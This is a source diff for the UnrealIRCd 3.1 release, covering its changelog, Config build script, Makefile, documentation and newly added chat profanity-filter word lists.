diff --git a/.CHANGES.NEW b/.CHANGES.NEW index d4cf73de4..86b1ba72f 100644 --- a/.CHANGES.NEW +++ b/.CHANGES.NEW @@ -10,5 +10,20 @@ unreal-support@lists.sourceforge.net or ask at IRC: For any sake, read Unreal.nfo and read doc/faq before asking questions -Press Escape now if you want to abort the setup, or press Enter -to continue. +NOTE: If the code is changed in any way, or the version string is changed, + we do _NOT_ support the product, except if you got explicit permission + from one of the UnrealIRCd coders. If it fails and you messed with it, + you can't blame noone but yourself. Also, non-official UnrealIRCd/32 + builds (if it doesn't say "geniune" in the display) are _NOT_ + supported. + +It has been a year since I made the first UnrealIRCd release, Unreal2.1. +A lot of things have happened since. I started Unreal as a hobby project, +but it has turned into a community, where people ask for help, and give help +too - people like the program (as the first I've made actually :>). So I +am happy you have followed all this way - Thanks to Shmad, Nutcais, +Sporty_McFly, DjBoxy, zero9000, and all the people following the product +for the time it has existed. So - enjoy this release - we have tried to do +our best, and if its not - we'll make the next our best. So - Seeya in 2001 + +-Stskeeps (Head coder of UnrealIRCd) diff --git a/.indent.pro b/.indent.pro new file mode 100644 index 000000000..04a5d0b8a --- /dev/null +++ b/.indent.pro @@ -0,0 +1,51 @@ +--leave-preprocessor-space +--dont-break-procedure-type +--no-space-after-function-call-names +--brace-indent0 +--indent-level8 +-ip8 +--dont-line-up-parentheses +--continuation-indentation4 +--case-indentation2 +--no-space-after-casts +--blank-lines-after-procedures +--no-blank-lines-after-declarations +--braces-on-struct-decl-line +--paren-indentation0 +--case-brace-indentation0 +--line-length80 +--declaration-indentation5 +-T size_t +-T aClass +-T aClient +-T aServer +-T anUser +-T aChannel +-T Mode +-T aConfItem +-T aMessage +-T aMessageTree +-T aGline +-T aListingArgs +-T snomask_t +-T n_short +-T n_long +-T n_time +-T u_char +-T u_short +-T u_long +-T u_int +-T dbuf +-T dbufbuf +-T aHashEntry +-T Link +-T Dlink +-T VOIDSIG +-T aHostent +-T ResRQ +-T aCache +-T CacheTable +-T cainfo +-T reinfo +-T RETSIGTYPE +-T OPT_TYPE diff --git a/Changes b/Changes index 2a40dc8db..f6236a408 100644 --- a/Changes +++ b/Changes @@ -1,6 +1,7 @@ /* * UnrealIRCd Changes File - (C) Carsten Munk 1999-2000 & * The UnrealIRCd Team + * * $Id$ * * This program is free software; you can redistribute it and/or modify @@ -17,20 +18,9 @@ * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * -*/ + */ -*** BUGS *** -* /map has a few little display problems (fixable? sts: no not the hide ulines, already fixed) -* You can make the server flood off opers if you clone with > MAXCLIENTS - fix: make a unknown connection clone defense:P -* -ex-2.routing.md.us.exchat.org- *** Notice -- Aieeee!!! Server terminating: Segmention fault (buf: - :Methos PRIVMSG #exchat :for the * flag) - -*** FIXED -- we think *** -- Potential problem with die/restart from 3.0(fix) ... peopl can not restart/kill servers even - if they have the neseccery O:Lines -- it seems towork in 3.1 - -*** Unreal3.1 *** (state: beta third state) +*** Unreal3.1 *** (final) - Moved REMOVE_ADVERTISE a little - Fixed bug where you could /mode #test +L #test (link a channel to itself) @@ -319,3 +309,152 @@ - Fixed a bug with /chgname with incorrect parameters to other servers - "Fixed" the /stats u bug? - Fixed +f not working (?) +- Made the Own-protection just reduce the class maxli instead of bitching.. +- Did a dirty hack on ALN problem with colliding hash (will deny linking in + wrong servers) +- Fixed /stats C not showing N:lines, reported by auspice +- Fixed codemastr (possible) fucked up the shell ircd script with + overwriting it ... +- Created /shun, /gline style. /shun +user@host time reason /shun -user@host + will extend it so you can /shun +nick later +- A little anti-0 fix in channel.c +- Made MODE_X, MODE_I etc show mode change to user +- Added channel mode +C to disallow channel CTCPs, /me (CTCP ACTION) is still allowed +- Fixed a bunch of +H bugs +- Fixed a bug where the channel was still shown in /who for +I users +- First part of ZIP_LINKS +- Fixed a typo in ./newnet +- Made /close reset IRCstats.unknown .. +- Made SVSO (ofcourse) IRCstats.operators--; +- Another IRCstats.unknown fix. Hope this works (hacked from undernet code) +- NETINFO protocol 0 is accepted as valid protocool (for services etc) +- /stats s is now avail only for opers in mainstream +- Took out "nick did a /userhost on you" +- Reduced hashtable size +- Took out sequent/dynix support +- Fixed a bug that prolly was fixed by Potvin, but was "not fixed correctly" +- Fixed a crash problem in register_user and most likely fixed the "strange + vhost" thing, (was a dumb bug, mising ircsprintf) +- Fixed the *** NickServ sets mode +creep SVS2MODE bug.. +- sendto_serv_butone_token_opt ().. +- Small testing stuff +- In ./Config it runs a quick test to see how many socket()s you can do +- Fixed the double +cF notice on local connections exiting, ugly hack +- Removed the last traces of unix sockets, flag 0x10 free now +- Made all ircops able to use +F (totally this time) +- /quote close do not show realhost of caller anymore +- /shun accepts nick in add mode now (adds *@host) +- Allowed /shunned users to use /pong now +- Fixed (by DrBin) Shun and Gline bug, where they replaced eachothers ->type + .... Learn that (= != ==) /me looks at Sts +- You can now specify 0 as the time for any TKL (ex Glines, Shun) for it to be perm +- Fixed a +L bug, (3.1 only) where any op could set +L +- Added channel mode +u, "Auditorium". Makes /names and /who #channel only + show @'s +- Added config.h setting to disable oper overrides, NO_OPEROVERRIDE +- Added Debug support to win32 makefile ... compile with syntax + NMAKE -f makefile.win32 DEBUG=1 + inorder to have debug support ... leave the DEBUG=1 out for normal builds +- Fixed ircsprintf.h ... we do want it to compile in debug mode yes ? +- Made /addline write to correct place when you use -f +- Made /zline not memory corrupt/crash, bad df bug +- Fixed a counting bug with unknown connections, very hopefully +- Fixed /htm giving wrong response when /htm to 1 +- Fixed /shun showing "1970" to permanently shunned users +- Fixed ./Config showing freebsd 3.0 in freebsd 4 +- Made so badwords.*.conf accepts # comments +- Added some default default badwords.message.conf and badwords.channel.conf +- Made so auditorium mode shows users to @'s +- Fixed a bug where /chgident would overflow into the *real* host if it where greater than USERLEN + because _someone_ aka sts told it to check against HOSTLEN rather than USERLEN... reported by wshs +- Fixed a bug in badwords not loading words correctly, and upped word limit + to 50 +- Small fix with ./Config showing incorrect path of stddef.h +- Made operkick be part of NO_OPEROVERRIDE +- Made admins unable to be shunned +- Made some socket errors which normally only showed up in DEBUGMODE, show + up in ircd.log as well +- Fixed a wrongly outputted message (in hash collision detect) +- Removed aHush, not in use +- Removed DISALLOW_MIXED_CASE and IGNORE_FIRST_CHAR, waste of space +- Made IDLE_FROM_MSG stock define +- Made IRCII_KLUDGE disappear :P +- Fixed SENDQ_ALWAYS to be mainstream define (as always) +- Removed s_gline, not in use, removed some modeless channel checks (not needed), removed an old zombie + code, and removed a line from aHush that was missed +- Added networks/seveneagle.network +- /msg irc now works whether or not WEBTV_SUPPORT is on +- Moved /mode #channel ^ and ListBits() to #ifdef DEVELOP +- Made it so servers behind a U:lined server (ex Juped Server) are U:lined too, helpful if HIDE_ULINES is + on (from bahamut) +- Added find_uline (from bahamut) for the new U:line code +- Modified /map to work with the new U:line code +- Redid s_err.c to be ALOT faster, based on bahamut's s_err.c (ALOT of + work) +- Fixed last R_LINE stuff (check_time_interval) +- Fixed /setname desynch +- Removed IsService(), and some wierd stuff +- Broken INETD support removed +- Removed some odd Clone stuff(?) +- Added Blowfish encryption ability (SetSecure()), will extend to more + better encryption +- Fixed a typo in /stats z +- Some more crypto stuff, will work on the new engine tommorow +- You can now encrypt the I:line passwords using mkpasswd (must have CRYPT_ILINE_PASSWORD defined) +- Editted Config to ask if you want encrypted I:line passwords +- Made it so you can encrypt restart/die passwords (same as I:line passwords) +- Editted Config to ask about encrypted restart/die passwords +- Made it so you can *view* a channel topic using /topic #channel without being a member +- Removed , support from /topic (not needed) +- Removed count_channels (not in use) +- Made a major is_banned speed up +- Redid K:line and n:line checking to be alot faster +- Fixed crypto stuff 100% :)) +- Added CRYPTOIRCd ('r') to version string +- Added some more crypto stuff + - /crypto +- Fixed a ->passwd bug caused by codemastr.. +- Added fclose() calls to the vhost, dccdeny, and chrestrict confs +- Some V:line stuff (added VL protoctl, and parsing of the SERVER command for the proto and flags) +- Fixed so that in +c it shows if a user is connected securely +- Backported the passwd stuff, not needed. +- Fixed a crash problem on /quit or /squit +- Fixed some aligning in the VL PROTOCTL +- Fixed some fucked up passwd stuff again .. +- Fixed a little Client Protoctl problem +- Fixed a crypto problem (forgot an #ifdef bad sts!) +- Fully added V:lines (doesn't really do much till the next version, since old versions don't support it) +- Added /stats v to list V:lines (/stats V still does vhost.conf) +- Added OpenBSD 2.x support, thanks to noriko for donating the development shell +- Added so stuff like Lost connection to, (report_error) only goes to realops +- Added some more descriptive error messages +- Added doc/crypto.doc describing the encrypted irc protocol +- Fixed a sendto_serv_butone_token problem +- Removed any trace of MD5, we use random() for nospoof now, this fixed a + license problem too +- Removed NOSPOOF_SEED01 and 02 +- Added VHP protoctl, (not in use in the synch). This makes virthost field + in NICKv2 use the real virthost even if its +t. (Thanks to SL7) +- Added support for the CR Java Chat auto join feature +- Fixed a msg.h location problem .. +- Added secure connections and openssl tracing to Config +- Added regex portablity and checks in Config +- Added a #define capability to config.h (DISABLE_USERMOD), + disables /sethost, /setident, /chgname, /chghost, /chgident +- Fixed a /rehash -garbage bug reported by Curt|s +- Added networks/makenet (generates a network configuration file) +- Added networks/staticedge.network +- Fixed some host revealing nick collision stuff +- Tokenized nick->nick PRIVMSG and NOTICE +- Made it so you can remove a protoctl by putting a - in front +- Fixed a bug in summon +- Added protection against webproxies +- Fixed TKL? +- Added SJ3, removed the old +- SJ3 bugfix, and another +- Hopefully a res.c fix. +- Fixed a +I bug +- Fixed a more SJ3 bug +- Updated networks/networks.ndx (bad sts!) +- Added networks/linuxsquare.network +- Added networks/chatstation.network diff --git a/Config b/Config index 3677ea984..17c247f58 100755 --- a/Config +++ b/Config @@ -11,7 +11,7 @@ # distribution without the author's prior consent. # # $Id$ -IRCD_VERSION="Unreal3.1-beta3" +IRCD_VERSION="Unreal3.1" CONF_DATE=`date` LAST_VERSION="very very old" # @@ -42,7 +42,11 @@ NINETNETOF=undef GETTIMEOFDAY=undef LRAND48=undef STRTOUL=undef +OPENSSL="" +REGEXP="" NEEDSKIPNAME="" +CRYPTOLIB="" +CRYPTOIRCD="" CCPATH='' SIGNAL='' BLOCKING='' @@ -63,8 +67,6 @@ OSNAME="an unrecgonized operating system" # IRCNET="" NOSPOOF="1" -NOSPOOF_SEED01="0x12345678" -NOSPOOF_SEED02="0x9abcdef0" KLINE_ADDRESS="" DPATH="$DIR" SPATH="$DIR/src/ircd" @@ -72,6 +74,8 @@ MODE_X="" TRUEHUB="" CRYPT_OPER_PASSWORD="" CRYPT_LINK_PASSWORD="" +CRYPT_ILINE_PASSWORD="" +CRYPT_XLINE_PASSWORD="" LISTEN_SIZE="5" MAXSENDQLENGTH="3000000" BUFFERPOOL="(9 * MAXSENDQLENGTH)" @@ -96,13 +100,11 @@ fi clear -if [ "$LAST_VERSION" != "$IRCD_VERSION" ] ; then if [ -r .CHANGES.NEW ] ; then more .CHANGES.NEW echo $n "[Enter to begin]" read cc fi -fi if [ "$1" = "-n" ] ; then if [ "$LAST_VERSION" != "$IRCD_VERSION" ] ; then @@ -134,6 +136,8 @@ case "$OS" in OSNAME="FreeBSD 2.2.x" CRYPT_OPER_PASSWORD="" CRYPT_LINK_PASSWORD="" + CRYPT_ILINE_PASSWORD="" + CRYPT_XLINE_PASSWORD="" echo "You are using FreeBSD 2.2.x; do NOT crypt passwords at this time" ;; *FreeBSD*2.2*) @@ -142,7 +146,19 @@ case "$OS" in OSNAME="FreeBSD 2.2" CRYPT_OPER_PASSWORD="" CRYPT_LINK_PASSWORD="" - echo "You are using FreeBSD 2.2; do NOT crypt passwords at this time" + CRYPT_ILINE_PASSWORD="" + CRYPT_XLINE_PASSWORD="" + echo "You are using FreeBSD 2.2; do NOT crypt passwords at this time" + ;; + *FreeBSD*4.0*) + DEFCFLAGS="$DEFOPT" + DEFLIBS="-lcrypt" + OSNAME="FreeBSD 4.0" + CRYPT_OPER_PASSWORD="" + CRYPT_LINK_PASSWORD="" + CRYPT_ILINE_PASSWORD="" + CRYPT+XLINE_PASSWORD="" + echo "You are using FreeBSD 4.0; You can use encrypted passwords now." ;; *FreeBSD*3*) DEFCFLAGS="$DEFOPT" @@ -150,6 +166,8 @@ case "$OS" in OSNAME="FreeBSD 3.x" CRYPT_OPER_PASSWORD="" CRYPT_LINK_PASSWORD="" + CRYPT_ILINE_PASSWORD="" + CRYPT_XLINE_PASSWORD="" echo "You are using FreeBSD 3.x; You can use encrypted passwords now." ;; *FreeBSD*) @@ -158,8 +176,19 @@ case "$OS" in OSNAME="FreeBSD" CRYPT_OPER_PASSWORD="" CRYPT_LINK_PASSWORD="" + CRYPT_ILINE_PASSWORD="" + CRYPT_XLINE_PASSWORD="" echo "You are using FreeBSD ; do NOT crypt passwords at this time" ;; + *OpenBSD*2*) + DEFCFLAGS="$DEFOPT" + DEFLIBS="none" + OSNAME="OpenBSD 2.x" + CRYPT_OPER_PASSWORD="" + CRYPT_LINK_PASSWORD="" + CRYPT_ILINE_PASSWORD="" + CRYPT_XLINE_PASSWORD="" + ;; *SCO_SV*) DEFCFLAGS="$DEFOPT -DSCOUNIX" DEFLIBS="-lsocket" @@ -389,7 +418,7 @@ if [ -r /usr/include/stdlib.h ] ; then else echo 'not found :(' fi -echo $n "...Looking for stddef.h...$c" +echo $n "...Looking for /usr/include/stddef.h...$c" if [ -r /usr/include/stddef.h ] ; then STDDEFH=define echo 'found!' @@ -450,6 +479,28 @@ if [ -r /usr/include/sys/rusage.h ] ; then else echo 'not found (good!)' fi + +echo $n "...Looking for /usr/include/openssl/blowfish.h...$c" +if [ -r /usr/include/openssl/blowfish.h ] ; then + OPENSSL=define + echo 'found!' +else + echo 'not found (you will not be able to do secure connections)' +fi + +echo $n "...Looking for /usr/include/regex.h...$c" +if [ -r /usr/include/regex.h ] ; then + REGEX=define + echo 'found!' +else + echo 'not found :(' + echo $n '*** configuring regex package ***' $n + cd extras/regex + ./configure + make + cd ../.. +fi + # # to b or not to b # @@ -1066,87 +1117,6 @@ while [ -z "$FOO" ] ; do esac done -if [ -n "$NOSPOOF" ] ; then - -FOO="" -runonce="" -while [ -z "$FOO" ] ; do - FOO="$NOSPOOF_SEED01" - echo "For security, the nospoof code uses two special values, called" - echo "seeds. Here, please enter one of them. The values are in" - echo "hexidecimal (base 16) using the digits 0123456789abcdef. Each" - echo "value can contain up to 8 digits, and should be specified in the" - echo "form 0x12345678. If you use the defaults, that should be ok, but" - echo "it is more secure if you choose your own special values and keep" - echo "them secret." - echo $n "[$FOO] -> $c" - if [ -z "$AUTO_CONFIG" -o -n "$runonce" ] ; then - read cc - else - cc="" - runonce=Yes - fi - if [ -z "$cc" ] ; then - cc=$FOO - fi - case "$cc" in - 0x[0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]) - NOSPOOF_SEED01=$cc - ;; - [0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]) - NOSPOOF_SEED01=0x$cc - ;; - *) - echo " " - echo "Read the instructions and try again... You did not enter the" - echo "value correctly." - echo "" - FOO="" - ;; - esac -done - -FOO="" -runonce="" -while [ -z "$FOO" ] ; do - FOO="$NOSPOOF_SEED02" - echo "For security, the nospoof code uses two special values, called" - echo "seeds. Here, please enter one of them. The values are in" - echo "hexidecimal (base 16) using the digits 0123456789abcdef. Each" - echo "value can contain up to 8 digits, and should be specified in the" - echo "form 0x12345678. If you use the defaults, that should be ok, but" - echo "it is more secure if you choose your own special values and keep" - echo "them secret." - echo $n "[$FOO] -> $c" - if [ -z "$AUTO_CONFIG" -o -n "$runonce" ] ; then - read cc - else - cc="" - runonce=Yes - fi - if [ -z "$cc" ] ; then - cc=$FOO - fi - case "$cc" in - 0x[0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]) - NOSPOOF_SEED02=$cc - ;; - [0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]) - NOSPOOF_SEED02=0x$cc - ;; - *) - echo " " - echo "Read the instructions and try again... You did not enter the" - echo "value correctly." - echo "" - FOO="" - ;; - esac -done - -# this matches a NOSPOOF check waaaaaay up there -fi - FOO="" runonce="" while [ -z "$FOO" ] ; do @@ -1224,7 +1194,7 @@ while [ -z "$FOO" ] ; do esac done -DOMAINNAME="box.name" +DOMAINNAME=`hostname -f` FOO="" runonce="" while [ -z "$FOO" ] ; do @@ -1244,6 +1214,45 @@ while [ -z "$FOO" ] ; do done DOMAINNAME=$cc +if [ -n "$OPENSSL" ] ; then +FOO="" +runonce="" +while [ -z "$FOO" ] ; do + if [ -n "$CRYPTOIRCD" ] ; then + FOO="Yes" + else + FOO="No" + fi + echo "" + echo "Do you want to support encrypted connections" + echo $n "[$FOO] -> $c" + if [ -z "$AUTO_CONFIG" -o -n "$runonce" ] ; then + read cc + else + cc="" + runonce=Yes + fi + if [ -z "$cc" ] ; then + cc=$FOO + fi + case "$cc" in + [Yy]*) + CRYPTOIRCD="1" + CRYPTOLIB="-lcrypto" + ;; + [Nn]*) + CRYPTOIRCD="" + ;; + *) + echo "" + echo "You need to enter either Yes or No here..." + echo "" + FOO="" + ;; + esac +done +fi + FOO="" runonce="" while [ -z "$FOO" ] ; do @@ -1317,6 +1326,77 @@ while [ -z "$FOO" ] ; do esac done +FOO="" +runonce="" +while [ -z "$FOO" ] ; do +if [ -n "$CRYPT_XLINE_PASSWORD" ] ; then + FOO="yes" +else + FOO="No" +fi +echo "" +echo "Do you want to use encrypted Restart/Die passwords?" +echo $n "[$FOO] -> $c" +if [ -z "$AUTO_CONFIG" -o -n "$runonce" ] ; then + read cc +else + cc="" +runonce=Yes +fi +if [ -z "$cc" ] ; then + cc=$FOO +fi + case "$cc" in + [Yy]*) + CRYPT_XLINE_PASSWORD="1" + ;; + [Nn]*) + CRYPT_XLINE_PASSWORD="" + ;; + *) + echo "" + echo "You need to enter either Yes or No here..." + echo "" + FOO="" + ;; + esac +done +FOO="" +runonce="" +while [ -z "$FOO" ] ; do +if [ -n "$CRYPT_ILINE_PASSWORD" ] ; then + FOO="Yes" +else + FOO="No" +fi +echo "" +echo "Do you want to use encrypted I:line passwords?" +echo $n "[$FOO] -> $c" +if [ -z "$AUTO_CONFIG" -o -n "$runonce" ] ; then + read cc +else + cc="" + runonce=Yes +fi +if [ -z "$cc" ] ; then + cc=$FOO +fi + case "$cc" in + [Yy]*) + CRYPT_ILINE_PASSWORD="1" + ;; + [Nn]*) + CRYPT_ILINE_PASSWORD="" + ;; + *) + echo "" + echo "You need to enter either Yes or No here..." + echo "" + FOO="" + ;; + esac +done + FOO="" runonce="" while [ -z "$FOO" ] ; do @@ -1437,7 +1517,10 @@ while [ -z "$FOO" ] ; do ;; esac done - +echo "" +echo "" +$CCPATH -o src/fdmaxcounter src/fdmaxcounter.c +src/fdmaxcounter FOO="" runonce="" while [ -z "$FOO" ] ; do @@ -1450,6 +1533,8 @@ else fi echo "" echo "How many file descriptors (or sockets) can the irc server use?" + echo "(The result above, if any - shows how many sockets that the ircd can use", + echo " and can be used as an answer here)" echo $n "[$FOO] -> $c" if [ -z "$AUTO_CONFIG" -o -n "$runonce" ] ; then read cc @@ -1554,6 +1639,31 @@ else $RM -f Makefile.tmp fi +if [ -n "$CRYPTOLIB" ] ; then + $RM -f Makefile.tmp + sed -e "s@^CRYPTOLIB=\(.*\)@CRYPTOLIB=$CRYPTOLIB@" Makefile > Makefile.tmp + cp Makefile.tmp Makefile + $RM -f Makefile.tmp +else + $RM -f Makefile.tmp + sed -e "s@^CRYPTOLIB=\(.*\)@CRYPTOLIB=@" Makefile > Makefile.tmp + cp Makefile.tmp Makefile + $RM -f Makefile.tmp + +fi + +if [ -n "$REGEX" ] ; then + $RM -f Makefile.tmp + sed -e "s@^REGEX=\(.*\)@REGEX=@" Makefile > Makefile.tmp + cp Makefile.tmp Makefile + $RM -f Makefile.tmp +else + $RM -f Makefile.tmp + sed -e "s@^REGEX=\(.*\)@REGEX=../extras/regex/regex.o@" Makefile > Makefile.tmp + cp Makefile.tmp Makefile + $RM -f Makefile.tmp +fi + $RM -f $EXEC $TMP $RM -f ./core @@ -1588,28 +1698,43 @@ if [ -n "$CRYPT_OPER_PASSWORD" ] ; then else echo "#undef CRYPT_OPER_PASSWORD" >> $OPTIONS_H fi +if [ -n "$CRYPTOIRCD" ] ; then + echo "#define CRYPTOIRCD 1" >> $OPTIONS_H +else + echo "#undef CRYPTOIRCD" >> $OPTIONS_H +fi if [ -n "$CRYPT_LINK_PASSWORD" ] ; then echo "#define CRYPT_LINK_PASSWORD 1" >> $OPTIONS_H else echo "#undef CRYPT_LINK_PASSWORD" >> $OPTIONS_H fi +if [ -n "$CRYPT_ILINE_PASSWORD" ] ; then + echo "#define CRYPT_ILINE_PASSWORD 1" >> $OPTIONS_H +else + echo "#undef CRYPT_ILINE_PASSWORD" >> $OPTIONS_H +fi +if [ -n "$CRYPT_XLINE_PASSWORD" ] ; then + echo "#define CRYPT_XLINE_PASSWORD 1" >> $OPTIONS_H +else + echo "#undef CRYPT_XLINE_PASSWORD" >> $OPTIONS_H +fi if [ -n "$HUB" ] ; then echo "#define HUB 1" >> $OPTIONS_H else echo "#undef HUB" >> $OPTIONS_H fi +if [ -n "$REGEX" ] ; then + echo "#define HAVE_REGEX 1" >> $OPTIONS_H +else + echo "#undef HAVE_REGEX" >> $OPTIONS_H +fi + if [ -n "$NOSPOOF" ] ; then echo "#define NOSPOOF 1" >> $OPTIONS_H else echo "#undef NOSPOOF" >> $OPTIONS_H fi -if [ -n "$NOSPOOF_SEED01" ] ; then - echo "#define NOSPOOF_SEED01 $NOSPOOF_SEED01" >> $OPTIONS_H -fi -if [ -n "$NOSPOOF_SEED02" ] ; then - echo "#define NOSPOOF_SEED02 $NOSPOOF_SEED02" >> $OPTIONS_H -fi if [ "$OSNAME" = "Linux (with GLIBC 2.x or greater)" ]; then echo "#define GLIBC2_x" >> $OPTIONS_H @@ -1632,12 +1757,12 @@ cat > $OPTIONS << __EOF__ IRCNET="$IRCNET" LAST_VERSION="$IRCD_VERSION" NOSPOOF="$NOSPOOF" -NOSPOOF_SEED01="$NOSPOOF_SEED01" -NOSPOOF_SEED02="$NOSPOOF_SEED02" DPATH="$DPATH" SPATH="$SPATH" CRYPT_OPER_PASSWORD="$CRYPT_OPER_PASSWORD" CRYPT_LINK_PASSWORD="$CRYPT_LINK_PASSWORD" +CRYPT_ILINE_PASSWORD="$CRYPT_ILINE_PASSWORD" +CRYPT_XLINE_PASSWORD="$CRYPT_XLINE_PASSWORD" LISTEN_SIZE="$LISTEN_SIZE" MAXSENDQLENGTH="$MAXSENDQLENGTH" BUFFERPOOL="$BUFFERPOOL" @@ -1670,8 +1795,8 @@ cat << __EOF__ |_____________________________________________________________________| |_____________________________________________________________________| | - The UnrealIRCd Team - | -| * Stskeeps stskeeps@tspre.org -| * codemastr codemastr@tspre.org -| * DrBin drbin@tspre.org +| * Stskeeps stskeeps@tspre.org | +| * codemastr codemastr@tspre.org | +| * DrBin drbin@tspre.org | |_____________________________________________________________________| __EOF__ diff --git a/Makefile.dist b/Makefile.dist index cf7f54dae..aaddfe0e6 100644 --- a/Makefile.dist +++ b/Makefile.dist @@ -33,7 +33,7 @@ FROMDOS=/home/cmunk/bin/4dos # XCFLAGS= IRCDLIBS= - +CRYPTOLIB= # # use the following on MIPS: #CFLAGS= -systype bsd43 -DSYSTYPE_BSD43 -I$(INCLUDEDIR) @@ -97,6 +97,12 @@ IRCDDIR=/usr/local/lib/ircd # The rest are perfectly content with this. RES= +# +# If your system is lacking regex, uncomment this line +# +#REGEX=../extras/regex/regex.o +REGEX= + # [CHANGEME] # If you get a compile-time error dealing with u_int32_t, comment out # this line. @@ -133,7 +139,8 @@ MAKEARGS = 'CFLAGS=${CFLAGS}' 'CC=${CC}' 'IRCDLIBS=${IRCDLIBS}' \ 'BINDIR=${BINDIR}' 'INSTALL=${INSTALL}' \ 'INCLUDEDIR=${INCLUDEDIR}' 'IRCDDIR=${IRCDDIR}' \ 'MANDIR=${MANDIR}' 'RM=${RM}' 'CP=${CP}' 'TOUCH=${TOUCH}' \ - 'RES=${RES}' 'SHELL=${SHELL}' 'STRTOUL=${STRTOUL}' + 'RES=${RES}' 'SHELL=${SHELL}' 'STRTOUL=${STRTOUL}' \ + 'CRYPTOLIB=${CRYPTOLIB}' 'REGEX=${REGEX}' server: build: @@ -174,8 +181,8 @@ clean: cleandir: clean rm -rf include/networks.h include/setup.h include/settings.h Makefile Settings -makex: fromdos - chmod +x Config newnet bsdinstall ircd ircdcron/ircdchk killircd +makex: + chmod +x Config newnet ircd ircdcron/ircdchk killircd chmod +x makeconf rehash ircdreg fromdos: cleandir @@ -186,7 +193,7 @@ fromdos: cleandir $(FROMDOS) -dv crypt/* $(FROMDOS) -dv ircdcron/* makedist: makex - echo "Making UnrealIRCd compatible IRCd Dist." + echo "Stamping.." stamp: makedist echo "/* Auto created release stamping */" > include/stamp.h diff --git a/README.BETA b/README.BETA deleted file mode 100644 index 4ec5a8203..000000000 --- a/README.BETA +++ /dev/null @@ -1,13 +0,0 @@ - -WARNING! WARNING! WARNING! WARNING! WARNING! -============================================ - -THIS IS AN BETA VERSION OF UNREAL. THIS IS -AT NO WAY SUPPORTED BY THE DEVELOPERS. DO NOT -COMPLAIN ABOUT ANY DAMAGE CAUSED WITH THIS VERSION -OF UNREALIRCD - AS THIS IS A VERSION IN DEVELOPMENT. - -If - however you decide to compile and run this version -please tell us if you find any bugs, please mail -unreal-dev@lists.sourceforge.net if you do. Any -ideas for features etc goes to same address. \ No newline at end of file diff --git a/TODO b/TODO index 50667f595..275e9cd50 100644 --- a/TODO +++ b/TODO @@ -38,12 +38,9 @@ Assigned to DrBin: or something :P (from irc2.10.3) * CTCP flood protection(?) -* More /HTM stuff, when HTM is active certain features are disabled * A /who flag system, like bahamut's -* More unrealircd.conf options * Something like bahamut/hybrids P:line system where you can specify which IPs can you a specific port, maybe port specific passwords too? -* /hush or /shun (shun most likely) * add -SIGTERM support, /restarts on SIGTERM * Recode dynconf and all the other new confs * Make proxy scanner scan port 23 also (postponed) diff --git a/TSpre.doc b/TSpre.doc index 3be6d5612..2f39074e0 100644 --- a/TSpre.doc +++ b/TSpre.doc @@ -11,6 +11,8 @@ NOTE: tspre.org does not exist at the moment, as I dont have a shell for it anymore. If anyone want to donate a shell with a background process, and 1 IP with port 6667 open, they are welcome. + however, when i get my adsl connection, it will run off that - on a + 50mhz machine *g* diff --git a/Unreal.nfo b/Unreal.nfo index 0446dd1e0..ab7a99f21 100644 --- a/Unreal.nfo +++ b/Unreal.nfo @@ -10,12 +10,17 @@ * http://unreal.tspre.org or http://unreal.sourceforge.net * ftp://unreal.sourceforge.net/pub/unreal - CVS Repository: - * Alpha versions (or beta) - ========================== -cvs -z9 -d :pserver:anonymous@cvs.unreal.sourceforge.net:/cvsroot/unreal login - (just press enter when it asks for password) -cvs -z9 -d :pserver:anonymous@cvs.unreal.sourgeforge.net:/cvsroot/unreal co alpha + CVS: +To get anonymous access: (read only) +"cvs -d :pserver:anonymous@cvs.ircsystems.net:/home/cmunk/ircsystems/cvsroot login" + +press enter when asked for password + +and to get latest stable: +"cvs -d :pserver:anonymous@cvs.ircsystems.net:/home/cmunk/ircsystems/cvsroot checkout -r stable -d Unreal-stable unreal" + +latest beta: +"cvs -d :pserver:anonymous@cvs.ircsystems.net:/home/cmunk/ircsystems/cvsroot checkout -r beta -d Unreal-beta unreal" * To get support ================ diff --git a/badwords.channel.conf b/badwords.channel.conf new file mode 100644 index 000000000..9975a64e7 --- /dev/null +++ b/badwords.channel.conf @@ -0,0 +1,54 @@ +# +# Unreal Internet Relay Chat Daemon +# Copyright (C) Carsten V. Munk 2000 +# +# NOTE: Those words are not meant to insult you (the user) +# but is meant to be a list of words so that the +G channel/user mode +# will work properly. You can easily modify this file at your will. +# If you got words to add to this file, please mail badwords@tspre.org +# +# +# +# +# +# +# This is some filling space, scroll down to see the words +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +pussy +fuck +whore +slut +shit +asshole +bitch +cunt +vagina +penis +jackass +*fucker* +faggot +fag +horny +gay +dickhead +sonuvabitch +*fuck* +ass +boobs +tits diff --git a/badwords.message.conf b/badwords.message.conf new file mode 100644 index 000000000..9975a64e7 --- /dev/null +++ b/badwords.message.conf @@ -0,0 +1,54 @@ +# +# Unreal Internet Relay Chat Daemon +# Copyright (C) Carsten V. Munk 2000 +# +# NOTE: Those words are not meant to insult you (the user) +# but is meant to be a list of words so that the +G channel/user mode +# will work properly. You can easily modify this file at your will. +# If you got words to add to this file, please mail badwords@tspre.org +# +# +# +# +# +# +# This is some filling space, scroll down to see the words +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +# +pussy +fuck +whore +slut +shit +asshole +bitch +cunt +vagina +penis +jackass +*fucker* +faggot +fag +horny +gay +dickhead +sonuvabitch +*fuck* +ass +boobs +tits diff --git a/bsdinstall b/bsdinstall deleted file mode 100755 index 25b565c93..000000000 --- a/bsdinstall +++ /dev/null @@ -1,84 +0,0 @@ -#! /bin/sh -# -# $Id$ -# Old: @(#)install.sh 4.5 (Berkeley) 10/12/83 -# -cmd=/bin/mv -strip="" -chmod="/bin/chmod 755" -chown="chown -f root" -chgrp="/bin/chgrp -f bin" -while true ; do - case $1 in - -s ) strip="strip" - shift - ;; - -c ) cmd="/bin/cp" - shift - ;; - 